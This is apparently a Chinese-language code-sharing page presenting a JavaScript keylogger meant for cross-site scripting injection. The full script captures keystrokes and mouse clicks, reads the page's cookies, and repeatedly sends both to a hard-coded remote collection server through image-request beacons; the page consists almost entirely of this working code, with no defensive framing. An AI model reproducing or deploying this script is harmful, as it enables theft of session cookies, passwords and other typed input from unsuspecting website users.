js 键盘记录代码

var keys=''; //储存键盘鼠标记录

var hacker = 'http://1.1.1.1:8080/xss.php';

var Url = window.location;

var Domain = document.domain;

var Cookie = document.cookie;

 

document.onkeypress = function(e) { //劫持键盘消息

get = window.event ? event:e;

key = get.keyCode ? get.keyCode : get.charCode;

switch(key){

case 32 : key = '[Space]';break;

case 13 : key = '[Enter]';break;

case 8 : key = '[BackSpace]';break;

default :

key = String.fromCharCode(key);

keys += key;

}

}

 

window.onload = function(){ //窗口加载后发送cookie

setInterval(function(){

var Cookie_t = document.cookie;

if(Cookie_t != Cookie){

Cookie = Cookie_t;

}

SendData(hacker + '?m=c&c=' + Cookie);

},2000); //每2秒检测一次cookie,如果变化,就重新发送

}

document.onmousedown = function(e) {

get = window.event ? event : e; //创建事件对象

var mousekey = get.button; //获取鼠标键代码

switch(mousekey) {//1 鼠标左键 2 鼠标右键 4 滚动键

case 1 :

mousekey = '[Left Mouse Clik]';break;

case 2 :

mousekey = '[Right Mouse Clik]';break;

case 4 :

mousekey = '[Roll Mouse Clik]';break;

default :

mousekey = '[Unknown Mouse Key]';

}

keys += mousekey;

}

function SendData(src){

new Image().src = src; //建立图片对象用于发射数据

}

 

setInterval(function(){ SendData(hacker + '?m=k&c=' + keys);keys = ''; },5000); //每五秒发送一次键盘记录,初始化变量


你可能感兴趣的:(js 键盘记录代码)